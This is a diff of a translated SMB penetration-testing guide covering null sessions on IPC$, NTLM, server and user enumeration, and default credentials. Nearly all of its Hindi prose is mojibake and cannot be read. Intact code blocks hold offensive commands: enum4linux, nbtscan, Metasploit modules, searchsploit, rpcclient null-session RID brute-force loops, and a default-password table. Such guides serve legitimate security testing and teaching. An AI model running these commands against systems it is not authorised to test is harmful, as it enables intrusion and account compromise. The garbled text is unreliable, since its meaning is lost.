+рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдпрд╣ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдХреЗ рдКрдкрд░ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetBIOS over TCP/IP рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЦрддреНрдо рд╣реЛ рдЬрд╛рддреА рд╣реИ, рдЬрдм port 445 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЕрдиреНрдп рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ port 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ SMB рдХреЛ NetBIOS over TCP/IP рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ**, рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝, рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рд╡ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛, SMB рдкрд┐рдЫрдбрд╝реА рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Microsoft рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдмрд┐рдирд╛ рдмрд╛рдзрд╛ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдлреНрд░реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдореНрд╕ рдкрд░ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рддрд░рд╣ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕тАСрдкреНрд▓реИрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреА рд╕реБрд╡рд┐рдзрд╛ рджреЗрддрд╛ рд╣реИред
+The **Server Message Block (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ рдПрдХ **client-server** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, **files** рддрдХ рдкрд╣реБрдБрдЪ, рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдФрд░ рдкреНрд░рд┐рдиреНрдЯрд░реНрд╕ рд╡ рд░рд╛рдЙрдЯрд░реНрд╕ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд, SMB рдмреИрдХрд╡рд░реНрдб рдХрдореНрдкреИрдЯрд┐рдмрд┐рд▓рд┐рдЯреА рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Microsoft рдХреЗ рдирдП рд╡рд░реНрдЬрд╝рди рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкреБрд░рд╛рдиреЗ рд╡рд░реНрдЬрд╝рди рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдлреНрд░реА рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ SMB рдХреЛ рдЗрдореНрдкреНрд▓реАрдореЗрдВрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХрдореНрдпреБрдирд┐рдХреЗрд╢рди рдХреЛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИред
-Shares, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдЗрд░рд╛рд░реНрдХреА рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **рд╕реНрд╡рддрдВрддреНрд░** рджрд┐рдЦ рд╕рдХрддреА рд╣реИред The **Access Control Lists (ACLs)**, рдЬреЛ **рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рд╕реНрддрд░реАрдп рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рдЧреБрдг рдЬреИрд╕реЗ **`execute`**, **`read`**, рдФрд░ **`full access`** рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ shares рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИрдВред
+Shares, рдЬреЛ рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **arbitrary parts** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, SMB server рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдпрд░реЗрд░рдХреА рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **independent** рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИред **Access Control Lists (ACLs)**, рдЬреЛ **access rights** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **fine-grained control** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ `execute`, `read`, рдФрд░ `full access` рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ shares рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИрдВред
### IPC$ Share
-IPC$ share рддрдХ рдкрд╣реБрдБрдЪ anonymous null session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ named pipes рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИ:
+IPC$ share рддрдХ рдкрд╣реБрдБрдЪ anonymous null session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ named pipes рдХреЗ рдЬрд░рд┐рдП рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ:
-- рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА
+- рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА
- parent domain рдХреЗ рд╡рд┐рд╡рд░рдг
-- рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХреА рд╕реВрдЪреА
+- рд╕реНрдерд╛рдиреАрдп users рдФрд░ groups рдХреА рдПрдХ рд╕реВрдЪреА
- рдЙрдкрд▓рдмреНрдз SMB shares рдХреА рдЬрд╛рдирдХрд╛рд░реА
-- рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐
+- рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо security policy
-рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ SMB (Server Message Block) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред `enum4linux` рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рдкрд░рд┐рд╡реЗрд╢ рдХрд╛ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред
+рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ SMB (Server Message Block) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред `enum4linux` рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рдареАрдХ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред
```bash
enum4linux -a target_ip
```
-рдКрдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг enumeration рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+рдКрдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдпрд╣ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рдкреВрд░реНрдг enumeration рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
## NTLM рдХреНрдпрд╛ рд╣реИ
-рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреЗрдЬ рдХреЛ рдмрд╣реБрдд рд░реЛрдЪрдХ рдкрд╛рдПрдБрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **рдХрд┐ рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рдХреИрд╕реЗ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ:**
+рдпрджрд┐ рдЖрдк NTLM рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдБрдЧреЗ рдЬрд┐рд╕рдореЗрдВ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ **рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕рд╕реЗ рдХреИрд╕реЗ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
-## **Server Enumeration**
+## **рд╕рд░реНрд╡рд░ Enumeration**
-### **Scan**: рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ hosts рдЦреЛрдЬреЗрдВ:
+### **Scan** рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг
-SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд exploits рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдЕрдЧрд░ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп tools рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрддреА рд╣реИ, рддреЛ рдЖрдк:
+SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд exploits рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ рдХреМрди-рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП tools рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрддреА, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
-- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
-- рдпрд╛ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ:
+- рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
+- рдпрд╛ рдпрд╣ script:
```bash
#!/bin/sh
#Author: rewardone
@@ -75,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
-### **exploit рдЦреЛрдЬреЗрдВ**
+### **рдЦреЛрдЬреЗрдВ exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
-### **рд╕рдВрднрд╡** рдкреНрд░рдорд╛рдг-рдкрддреНрд░
+### **рд╕рдВрднрд╛рд╡рд┐рдд** рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕
-| **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** |
+| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
@@ -96,7 +96,7 @@ searchsploit microsoft smb
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
-### SMB рд╡рд╛рддрд╛рд╡рд░рдг рдЬрд╛рдирдХрд╛рд░реА
+### SMB Environment Information
### рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
```bash
@@ -120,7 +120,7 @@ rpcclient -U "username%passwd" #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
```
-### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧреНрдб-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ
+### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ
рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ enum4linux рдФрд░ enum4linux-ng рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЬрд╛ рдЪреБрдХреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
```bash
@@ -140,17 +140,17 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
-рдПрдХ-рдкрдВрдХреНрддрд┐ рдХрдорд╛рдВрдб
+рд╡рди-рд▓рд╛рдЗрдирд░
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
-### Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕реВрдЪреА
+### Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
-### **LSARPC рдФрд░ SAMR rpcclient рдХрд╛ рд╕реВрдЪреАрдХрд░рдг**
+### **LSARPC рдФрд░ SAMR rpcclient рдХрд╛ рдПрдиреНрдпреВрдорд░реЗрд╢рди**
{{#ref}}
